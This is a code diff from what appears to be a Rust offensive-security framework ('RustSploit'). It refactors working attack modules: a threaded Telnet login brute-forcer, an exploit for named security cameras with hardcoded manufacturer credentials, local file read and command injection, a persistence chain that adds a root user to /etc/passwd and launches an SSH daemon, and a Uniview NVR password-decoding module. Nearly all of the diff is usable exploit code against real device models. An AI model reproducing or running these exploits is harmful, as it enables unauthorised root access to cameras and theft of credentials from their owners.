|
||||
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let full_combo = prompt("Try every username with every password? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let verbose = prompt("Verbose mode? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let stop_on_success = prompt("Stop on first valid login? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y");
|
||||
let full_combo = prompt("Try every username with every password? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y");
|
||||
let verbose = prompt("Verbose mode? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y");
|
||||
|
||||
let config = TelnetBruteforceConfig {
|
||||
target,
|
||||
@@ -47,10 +55,11 @@ struct TelnetBruteforceConfig {
|
||||
}
|
||||
|
||||
fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
|
||||
let addr = format!("{}:{}", config.target, config.port);
|
||||
// 1) Normalize & validate host:port
|
||||
let addr = normalize_target(&config.target, config.port)
|
||||
.context("Invalid target address")?;
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address")?
|
||||
.to_socket_addrs()?
|
||||
.next()
|
||||
.context("Unable to resolve target address")?;
|
||||
|
||||
@@ -64,61 +73,57 @@ fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
|
||||
// 2) Build the combo queue
|
||||
if config.full_combo {
|
||||
for user in &usernames {
|
||||
for pass in &passwords {
|
||||
tx.send((user.clone(), pass.clone()))?;
|
||||
for u in &usernames {
|
||||
for p in &passwords {
|
||||
tx.send((u.clone(), p.clone()))?;
|
||||
}
|
||||
}
|
||||
} else if usernames.len() == 1 {
|
||||
for p in &passwords {
|
||||
tx.send((usernames[0].clone(), p.clone()))?;
|
||||
}
|
||||
} else if passwords.len() == 1 {
|
||||
for u in &usernames {
|
||||
tx.send((u.clone(), passwords[0].clone()))?;
|
||||
}
|
||||
} else {
|
||||
if usernames.len() == 1 {
|
||||
for pass in &passwords {
|
||||
tx.send((usernames[0].clone(), pass.clone()))?;
|
||||
}
|
||||
} else if passwords.len() == 1 {
|
||||
for user in &usernames {
|
||||
tx.send((user.clone(), passwords[0].clone()))?;
|
||||
}
|
||||
} else {
|
||||
println!("[!] Warning: Multiple usernames and passwords loaded, but full_combo is OFF. Trying first username with all passwords.");
|
||||
for pass in &passwords {
|
||||
tx.send((usernames[0].clone(), pass.clone()))?;
|
||||
}
|
||||
println!("[!] Multiple creds & full_combo=OFF → using first username.");
|
||||
for p in &passwords {
|
||||
tx.send((usernames[0].clone(), p.clone()))?;
|
||||
}
|
||||
}
|
||||
|
||||
drop(tx);
|
||||
|
||||
// 3) Spawn workers
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let addr = addr.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let creds = Arc::clone(&creds);
|
||||
let config = config.clone();
|
||||
let cfg = config.clone();
|
||||
|
||||
pool.execute(move || {
|
||||
while let Ok((username, password)) = rx.recv() {
|
||||
while let Ok((user, pass)) = rx.recv() {
|
||||
if *stop_flag.lock().unwrap() {
|
||||
break;
|
||||
}
|
||||
|
||||
if config.verbose {
|
||||
println!("[*] Trying {}:{}", username, password);
|
||||
if cfg.verbose {
|
||||
println!("[*] Trying {}:{}", user, pass);
|
||||
}
|
||||
|
||||
match try_telnet_login(&addr, &username, &password) {
|
||||
match try_telnet_login(&addr, &user, &pass) {
|
||||
Ok(true) => {
|
||||
println!("[+] Valid credentials: {}:{}", username, password);
|
||||
creds.lock().unwrap().push((username, password));
|
||||
|
||||
if config.stop_on_success {
|
||||
println!("[+] Valid: {}:{}", user, pass);
|
||||
creds.lock().unwrap().push((user, pass));
|
||||
if cfg.stop_on_success {
|
||||
*stop_flag.lock().unwrap() = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
if config.verbose {
|
||||
if cfg.verbose {
|
||||
eprintln!("[!] Error: {}", e);
|
||||
}
|
||||
}
|
||||
@@ -126,25 +131,26 @@ fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
pool.join();
|
||||
|
||||
let creds = creds.lock().unwrap();
|
||||
if creds.is_empty() {
|
||||
// 4) Report & optional save
|
||||
let found = creds.lock().unwrap();
|
||||
if found.is_empty() {
|
||||
println!("[-] No valid credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Found credentials:");
|
||||
for (u, p) in creds.iter() {
|
||||
for (u, p) in found.iter() {
|
||||
println!(" - {}:{}", u, p);
|
||||
}
|
||||
|
||||
let save = prompt("\n[?] Save credentials to file? (y/n): ");
|
||||
if save.trim().eq_ignore_ascii_case("y") {
|
||||
let filename = prompt("Enter filename to save: ");
|
||||
if let Err(e) = save_results(&filename, &creds) {
|
||||
eprintln!("[!] Failed to save results: {}", e);
|
||||
if prompt("\n[?] Save to file? (y/n): ")
|
||||
.trim()
|
||||
.eq_ignore_ascii_case("y")
|
||||
{
|
||||
let file = prompt("Filename: ");
|
||||
if let Err(e) = save_results(&file, &found) {
|
||||
eprintln!("[!] Failed to save: {}", e);
|
||||
} else {
|
||||
println!("[+] Results saved to '{}'", filename);
|
||||
println!("[+] Results saved to '{}'", file);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -152,43 +158,55 @@ fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt a single login, with 0.7 s connect+I/O timeout
|
||||
fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool> {
|
||||
let mut connection = Telnet::connect((addr, 23), 256)
|
||||
.context("Failed to connect to Telnet server")?;
|
||||
// Resolve to SocketAddr
|
||||
let socket = addr
|
||||
.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
|
||||
let mut login_prompt_seen = false;
|
||||
let mut pass_prompt_seen = false;
|
||||
// Connect with 1500 ms timeout
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500))
|
||||
.context("Connection timed out")?;
|
||||
// I/O timeout
|
||||
stream
|
||||
.set_read_timeout(Some(Duration::from_millis(1500)))
|
||||
.context("Failed to set read timeout")?;
|
||||
stream
|
||||
.set_write_timeout(Some(Duration::from_millis(1500)))
|
||||
.context("Failed to set write timeout")?;
|
||||
|
||||
// Wrap into Telnet
|
||||
let mut connection = Telnet::from_stream(Box::new(stream), 256);
|
||||
|
||||
let mut login_seen = false;
|
||||
let mut pass_seen = false;
|
||||
for _ in 0..10 {
|
||||
let event = connection.read().context("Failed to read from Telnet")?;
|
||||
|
||||
match event {
|
||||
Event::Data(buffer) => {
|
||||
let output = String::from_utf8_lossy(&buffer).to_lowercase();
|
||||
|
||||
if !login_prompt_seen && (output.contains("login:") || output.contains("username")) {
|
||||
connection.write(format!("{}\n", username).as_bytes())?;
|
||||
login_prompt_seen = true;
|
||||
} else if login_prompt_seen && !pass_prompt_seen && output.contains("password") {
|
||||
connection.write(format!("{}\n", password).as_bytes())?;
|
||||
pass_prompt_seen = true;
|
||||
} else if pass_prompt_seen {
|
||||
// Look for signs of successful or failed login
|
||||
if output.contains("incorrect")
|
||||
|| output.contains("failed")
|
||||
|| output.contains("denied")
|
||||
{
|
||||
return Ok(false);
|
||||
} else if output.contains("last login")
|
||||
|| output.contains("$")
|
||||
|| output.contains("welcome")
|
||||
|| output.contains("#")
|
||||
{
|
||||
return Ok(true);
|
||||
}
|
||||
let event = connection.read().context("Read error or timeout")?;
|
||||
if let Event::Data(buffer) = event {
|
||||
let out = String::from_utf8_lossy(&buffer).to_lowercase();
|
||||
if !login_seen && (out.contains("login:") || out.contains("username")) {
|
||||
connection.write(format!("{}\n", username).as_bytes())?;
|
||||
login_seen = true;
|
||||
} else if login_seen && !pass_seen && out.contains("password") {
|
||||
connection.write(format!("{}\n", password).as_bytes())?;
|
||||
pass_seen = true;
|
||||
} else if pass_seen {
|
||||
if out.contains("incorrect")
|
||||
|| out.contains("failed")
|
||||
|| out.contains("denied")
|
||||
{
|
||||
return Ok(false);
|
||||
}
|
||||
if out.contains("last login")
|
||||
|| out.contains("$")
|
||||
|| out.contains("#")
|
||||
|| out.contains("welcome")
|
||||
{
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -196,22 +214,50 @@ fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool>
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Unable to open {}", path))?;
|
||||
Ok(BufReader::new(file).lines().filter_map(Result::ok).collect())
|
||||
let f = File::open(path).context(format!("Unable to open {}", path))?;
|
||||
Ok(BufReader::new(f).lines().filter_map(Result::ok).collect())
|
||||
}
|
||||
|
||||
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
|
||||
let mut f = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.truncate(true)
|
||||
.open(path)?;
|
||||
for (u, p) in creds {
|
||||
writeln!(file, "{}:{}", u, p)?;
|
||||
writeln!(f, "{}:{}", u, p)?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(message: &str) -> String {
|
||||
print!("{}", message);
|
||||
fn prompt(msg: &str) -> String {
|
||||
print!("{}", msg);
|
||||
io::stdout().flush().unwrap();
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input).unwrap();
|
||||
input.trim().to_string()
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf).unwrap();
|
||||
buf.trim().to_string()
|
||||
}
|
||||
|
||||
/// Enhanced IPv4/IPv6/domain normalizer & resolver
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
|
||||
let caps = re
|
||||
.captures(host.trim())
|
||||
.ok_or_else(|| anyhow::anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = caps.name("addr").unwrap().as_str();
|
||||
let port = if let Some(m) = caps.name("port") {
|
||||
m.as_str().parse::<u16>().context("Invalid port value")?
|
||||
} else {
|
||||
default_port
|
||||
};
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') {
|
||||
format!("[{}]:{}", addr, port)
|
||||
} else {
|
||||
format!("{}:{}", addr, port)
|
||||
};
|
||||
// Verify DNS/getaddrinfo
|
||||
formatted
|
||||
.to_socket_addrs()
|
||||
.context(format!("Could not resolve {}", formatted))?;
|
||||
Ok(formatted)
|
||||
}
|
||||
|
||||
@@ -3,116 +3,142 @@
|
||||
// Author: d1g@segfault.net | Ported to Rust for RustSploit
|
||||
// PoC converted 1:1 from Bash to async Rust logic
|
||||
|
||||
// Cargo.toml:
|
||||
// [dependencies]
|
||||
// anyhow = "1.0"
|
||||
// reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] }
|
||||
// md5 = "0.7.0"
|
||||
|
||||
use anyhow::{Result, anyhow};
|
||||
use md5;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
|
||||
/// // Send authenticated LFI request
|
||||
/// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone)
|
||||
fn format_host(raw: &str) -> String {
|
||||
if raw.contains(':') {
|
||||
// strip any number of existing brackets, then wrap once
|
||||
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
raw.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Send authenticated LFI request
|
||||
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
|
||||
// // ABUS Security Camera LFI
|
||||
let host = format_host(target);
|
||||
let url = format!(
|
||||
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
|
||||
target, filepath
|
||||
host, filepath
|
||||
);
|
||||
println!("[*] Sending LFI request to: {}", url);
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
println!("[+] Status: {}", status);
|
||||
println!("[+] Body:\n{}", body);
|
||||
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Body:\n{}", resp.text().await?);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Send authenticated RCE request with command injection
|
||||
/// Send authenticated RCE request with command injection
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
// // ABUS Security Camera RCE
|
||||
let host = format_host(target);
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
target, cmd
|
||||
host, cmd
|
||||
);
|
||||
println!("[*] Sending RCE request to: {}", url);
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
println!("[+] Status: {}", status);
|
||||
println!("[+] Body:\n{}", body);
|
||||
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Body:\n{}", resp.text().await?);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Stage 1: Generate SSH key
|
||||
/// Stage 1: Generate SSH key
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
// // /etc/dropbear/dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating SSH key on target...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// // Stage 2: Add root user with known password hash
|
||||
async fn inject_root_user(client: &Client, target: &str) -> Result<()> {
|
||||
// // echo d1g:OmE2EUpLJafIk:0:0:root:/:/bin/sh >> /etc/passwd
|
||||
let cmd = "echo%20d1g:OmE2EUpLJafIk:0:0:root:/:/bin/sh%20>>%20/etc/passwd";
|
||||
/// Stage 2: Inject a root user with an MD5-hashed password
|
||||
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
// Compute lowercase-hex MD5 of the provided password
|
||||
let hash = format!("{:x}", md5::compute(password));
|
||||
println!("[*] MD5 hash of password: {}", hash);
|
||||
|
||||
// Build the echo command to append to /etc/passwd
|
||||
let cmd = format!(
|
||||
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
hash
|
||||
);
|
||||
println!("[*] Injecting root user into /etc/passwd...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
exploit_rce(client, target, &cmd).await
|
||||
}
|
||||
|
||||
/// // Stage 3: Start Dropbear SSH server
|
||||
/// Stage 3: Start Dropbear SSH server
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
// // /etc/dropbear/dropbear -E -F
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("[*] Starting Dropbear SSH server...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// // Combined SSH persistence exploit
|
||||
async fn persist_root_shell(client: &Client, target: &str) -> Result<()> {
|
||||
/// Combined SSH persistence exploit
|
||||
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
generate_ssh_key(client, target).await?;
|
||||
inject_root_user(client, target).await?;
|
||||
inject_root_user(client, target, password).await?;
|
||||
start_dropbear(client, target).await?;
|
||||
println!("[+] Persistence complete! Try logging in:");
|
||||
println!(" sshpass -p <PASSWORD> ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa d1g@{}", target);
|
||||
println!("[+] Persistence complete! You can now SSH in with:");
|
||||
println!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\
|
||||
-oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Prompt user for LFI, RCE, or SSH and execute accordingly
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
println!("[*] Exploit mode selection for target: {}", target);
|
||||
println!("[1] LFI");
|
||||
println!("[2] RCE");
|
||||
println!("[3] SSH Persistence");
|
||||
println!(" [1] LFI");
|
||||
println!(" [2] RCE");
|
||||
println!(" [3] SSH Persistence");
|
||||
print!("> ");
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
let choice = choice.trim();
|
||||
|
||||
match choice {
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
print!("Enter file path to read (e.g. /etc/passwd): ");
|
||||
io::stdout().flush()?;
|
||||
let mut filepath = String::new();
|
||||
io::stdin().read_line(&mut filepath)?;
|
||||
exploit_lfi(&client, target, filepath.trim()).await?;
|
||||
let mut fp = String::new();
|
||||
io::stdin().read_line(&mut fp)?;
|
||||
exploit_lfi(&client, target, fp.trim()).await?;
|
||||
}
|
||||
"2" => {
|
||||
print!("Enter command to execute (e.g. id): ");
|
||||
io::stdout().flush()?;
|
||||
let mut command = String::new();
|
||||
io::stdin().read_line(&mut command)?;
|
||||
exploit_rce(&client, target, command.trim()).await?;
|
||||
let mut cmd = String::new();
|
||||
io::stdin().read_line(&mut cmd)?;
|
||||
exploit_rce(&client, target, cmd.trim()).await?;
|
||||
}
|
||||
"3" => {
|
||||
persist_root_shell(&client, target).await?;
|
||||
// Ask for the desired password, hash it, and persist
|
||||
print!("Enter desired password for new root user: ");
|
||||
io::stdout().flush()?;
|
||||
let mut pwd = String::new();
|
||||
io::stdin().read_line(&mut pwd)?;
|
||||
let pwd = pwd.trim();
|
||||
if pwd.is_empty() {
|
||||
return Err(anyhow!("Password cannot be empty"));
|
||||
}
|
||||
persist_root_shell(&client, target, pwd).await?;
|
||||
}
|
||||
_ => return Err(anyhow!("Invalid choice")),
|
||||
}
|
||||
@@ -120,7 +146,8 @@ async fn execute(target: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Entry point for the exploit module used by the dispatch system
|
||||
/// Entry point for the RustSploit dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
execute(target).await
|
||||
}
|
||||
|
||||
|
||||
@@ -1,34 +1,61 @@
|
||||
use anyhow::{Result};
|
||||
use anyhow::Result;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use md5;
|
||||
|
||||
/// // Send a command using the vulnerable RCE endpoint
|
||||
/// Normalize IPv6 targets, collapsing any number of outer brackets
|
||||
/// and preserving an explicit port if one was given as `[...] : port`.
|
||||
fn normalize_target(raw: &str) -> String {
|
||||
// Case: bracketed IPv6 with port, e.g. "[[::1]]:8080"
|
||||
if raw.contains("]:") {
|
||||
if let Some(idx) = raw.rfind("]:") {
|
||||
let addr_raw = &raw[..idx];
|
||||
let port = &raw[idx + 2..];
|
||||
// strip ALL brackets from the address portion
|
||||
let addr_inner = addr_raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']')
|
||||
.to_string();
|
||||
return format!("[{}]:{}", addr_inner, port);
|
||||
}
|
||||
}
|
||||
// Otherwise, remove any outer brackets entirely...
|
||||
let inner = raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']')
|
||||
.to_string();
|
||||
// ...and only re-wrap in brackets if it's a bare IPv6 (contains a colon).
|
||||
if inner.contains(':') {
|
||||
format!("[{}]", inner)
|
||||
} else {
|
||||
inner
|
||||
}
|
||||
}
|
||||
|
||||
/// Send a command using the vulnerable RCE endpoint
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let normalized = normalize_target(target);
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
|
||||
target, cmd
|
||||
normalized, cmd
|
||||
);
|
||||
println!("[*] Sending RCE payload: {}", cmd);
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
println!("[+] Status: {}", status);
|
||||
println!("[+] Response:\n{}", body);
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Response:\n{}", resp.text().await?);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Generate Dropbear SSH keys on the target system
|
||||
/// Generate Dropbear SSH keys on the target system
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating Dropbear SSH key...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// // Inject a root user with a hashed password into /etc/passwd
|
||||
/// Inject a root user with a hashed password into /etc/passwd
|
||||
async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
|
||||
let payload = format!(
|
||||
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
@@ -38,21 +65,21 @@ async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str)
|
||||
exploit_rce(client, target, &payload).await
|
||||
}
|
||||
|
||||
/// // Start Dropbear SSH daemon
|
||||
/// Start Dropbear SSH daemon
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("[*] Starting Dropbear SSH daemon...");
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// // Generate simple MD5(password) as hash for dropbear user
|
||||
/// Generate an MD5 hash of the given password
|
||||
fn generate_md5_hash(password: &str) -> String {
|
||||
let digest = md5::compute(password.as_bytes());
|
||||
format!("{:x}", digest)
|
||||
}
|
||||
|
||||
/// // Interactive shell logic
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
/// Main interactive flow: get user/pass, hash it, and inject persistence
|
||||
async fn execute_flow(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
@@ -71,23 +98,25 @@ async fn execute(target: &str) -> Result<()> {
|
||||
io::stdin().read_line(&mut pass)?;
|
||||
let pass = pass.trim();
|
||||
|
||||
// Hash it!
|
||||
let hash = generate_md5_hash(pass);
|
||||
println!("[*] Generated hash: {}", hash);
|
||||
println!("[*] Generated MD5 hash: {}", hash);
|
||||
|
||||
// Run each step
|
||||
generate_ssh_key(&client, target).await?;
|
||||
inject_root_user(&client, target, user, &hash).await?;
|
||||
start_dropbear(&client, target).await?;
|
||||
|
||||
println!("\n[+] Done. Try connecting with:");
|
||||
println!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa {}@{}",
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
|
||||
-oHostKeyAlgorithms=+ssh-rsa {}@{}",
|
||||
pass, user, target
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Dispatcher entrypoint
|
||||
/// Dispatcher entry-point for the auto-dispatch framework
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
execute(target).await
|
||||
execute_flow(target).await
|
||||
}
|
||||
|
||||
@@ -1,31 +1,32 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use quick_xml::events::Event;
|
||||
use quick_xml::name::QName;
|
||||
use quick_xml::Reader;
|
||||
use reqwest::Client;
|
||||
use std::collections::HashMap;
|
||||
use std::fs::OpenOptions;
|
||||
use std::io::Write;
|
||||
use quick_xml::events::Event;
|
||||
use quick_xml::name::QName;
|
||||
use quick_xml::Reader;
|
||||
use std::time::Duration;
|
||||
|
||||
/// Reverses the Uniview custom encoded password
|
||||
fn decode_pass(encoded: &str) -> String {
|
||||
let map: HashMap<&str, &str> = [
|
||||
("77", "1"), ("78", "2"), ("79", "3"), ("72", "4"), ("73", "5"), ("74", "6"),
|
||||
("75", "7"), ("68", "8"), ("69", "9"), ("76", "0"), ("93", "!"), ("60", "@"),
|
||||
("95", "#"), ("88", "$"), ("89", "%"), ("34", "^"), ("90", "&"), ("86", "*"),
|
||||
("84", "("), ("85", ")"), ("81", "-"), ("35", "_"), ("65", "="), ("87", "+"),
|
||||
("83", "/"), ("32", "\\"), ("0", "|"), ("80", ","), ("70", ":"), ("71", ";"),
|
||||
("7", "{"), ("1", "}"), ("82", "."), ("67", "?"), ("64", "<"), ("66", ">"),
|
||||
("2", "~"), ("39", "["), ("33", "]"), ("94", "\""), ("91", "'"), ("28", "`"),
|
||||
("61", "A"), ("62", "B"), ("63", "C"), ("56", "D"), ("57", "E"), ("58", "F"),
|
||||
("59", "G"), ("52", "H"), ("53", "I"), ("54", "J"), ("55", "K"), ("48", "L"),
|
||||
("49", "M"), ("50", "N"), ("51", "O"), ("44", "P"), ("45", "Q"), ("46", "R"),
|
||||
("47", "S"), ("40", "T"), ("41", "U"), ("42", "V"), ("43", "W"), ("36", "X"),
|
||||
("37", "Y"), ("38", "Z"), ("29", "a"), ("30", "b"), ("31", "c"), ("24", "d"),
|
||||
("25", "e"), ("26", "f"), ("27", "g"), ("20", "h"), ("21", "i"), ("22", "j"),
|
||||
("23", "k"), ("16", "l"), ("17", "m"), ("18", "n"), ("19", "o"), ("12", "p"),
|
||||
("13", "q"), ("14", "r"), ("15", "s"), ("8", "t"), ("9", "u"), ("10", "v"),
|
||||
("11", "w"), ("4", "x"), ("5", "y"), ("6", "z"),
|
||||
("77","1"), ("78","2"), ("79","3"), ("72","4"), ("73","5"), ("74","6"),
|
||||
("75","7"), ("68","8"), ("69","9"), ("76","0"), ("93","!"), ("60","@"),
|
||||
("95","#"), ("88","$"), ("89","%"), ("34","^"), ("90","&"), ("86","*"),
|
||||
("84","("), ("85",")"), ("81","-"), ("35","_"), ("65","="), ("87","+"),
|
||||
("83","/"), ("32","\\"), ("0","|"), ("80",","), ("70",":"), ("71",";"),
|
||||
("7","{"), ("1","}"), ("82","."), ("67","?"), ("64","<"), ("66",">"),
|
||||
("2","~"), ("39","["), ("33","]"), ("94","\""), ("91","'"), ("28","`"),
|
||||
("61","A"), ("62","B"), ("63","C"), ("56","D"), ("57","E"), ("58","F"),
|
||||
("59","G"), ("52","H"), ("53","I"), ("54","J"), ("55","K"), ("48","L"),
|
||||
("49","M"), ("50","N"), ("51","O"), ("44","P"), ("45","Q"), ("46","R"),
|
||||
("47","S"), ("40","T"), ("41","U"), ("42","V"), ("43","W"), ("36","X"),
|
||||
("37","Y"), ("38","Z"), ("29","a"), ("30","b"), ("31","c"), ("24","d"),
|
||||
("25","e"), ("26","f"), ("27","g"), ("20","h"), ("21","i"), ("22","j"),
|
||||
("23","k"), ("16","l"), ("17","m"), ("18","n"), ("19","o"), ("12","p"),
|
||||
("13","q"), ("14","r"), ("15","s"), ("8","t"), ("9","u"), ("10","v"),
|
||||
("11","w"), ("4","x"), ("5","y"), ("6","z"),
|
||||
]
|
||||
.iter()
|
||||
.cloned()
|
||||
@@ -37,35 +38,83 @@ fn decode_pass(encoded: &str) -> String {
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Strip any number of nested brackets and re-wrap once if IPv6
|
||||
fn normalize_target(raw: &str) -> String {
|
||||
// Preserve or default to http://
|
||||
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
|
||||
("http://", s)
|
||||
} else if let Some(s) = raw.strip_prefix("https://") {
|
||||
("https://", s)
|
||||
} else {
|
||||
("http://", raw)
|
||||
};
|
||||
|
||||
// Split authority vs path
|
||||
let (auth, path) = match after.find('/') {
|
||||
Some(i) => (&after[..i], &after[i..]),
|
||||
None => (after, ""),
|
||||
};
|
||||
|
||||
// Separate host_part and port_part
|
||||
let (host_part, port_part) = if auth.starts_with('[') {
|
||||
if let Some(pos) = auth.rfind(']') {
|
||||
(&auth[..=pos], &auth[pos + 1..])
|
||||
} else {
|
||||
(auth, "")
|
||||
}
|
||||
} else if auth.matches(':').count() > 1 {
|
||||
// IPv6 without brackets
|
||||
(auth, "")
|
||||
} else if let Some(pos) = auth.rfind(':') {
|
||||
// IPv4 or hostname with port
|
||||
(&auth[..pos], &auth[pos..])
|
||||
} else {
|
||||
(auth, "")
|
||||
};
|
||||
|
||||
// Peel away *all* outer brackets
|
||||
let mut inner = host_part;
|
||||
while inner.starts_with('[') && inner.ends_with(']') {
|
||||
inner = &inner[1..inner.len() - 1];
|
||||
}
|
||||
|
||||
// If it looks like IPv6, re-wrap exactly once
|
||||
let wrapped = if inner.contains(':') {
|
||||
format!("[{}]", inner)
|
||||
} else {
|
||||
inner.to_string()
|
||||
};
|
||||
|
||||
format!("{}{}{}{}", scheme, wrapped, port_part, path)
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\nUniview NVR remote passwords disclosure!");
|
||||
println!("Author: B1t (ported to Rust)\n");
|
||||
|
||||
// Ensure the target has a proper scheme
|
||||
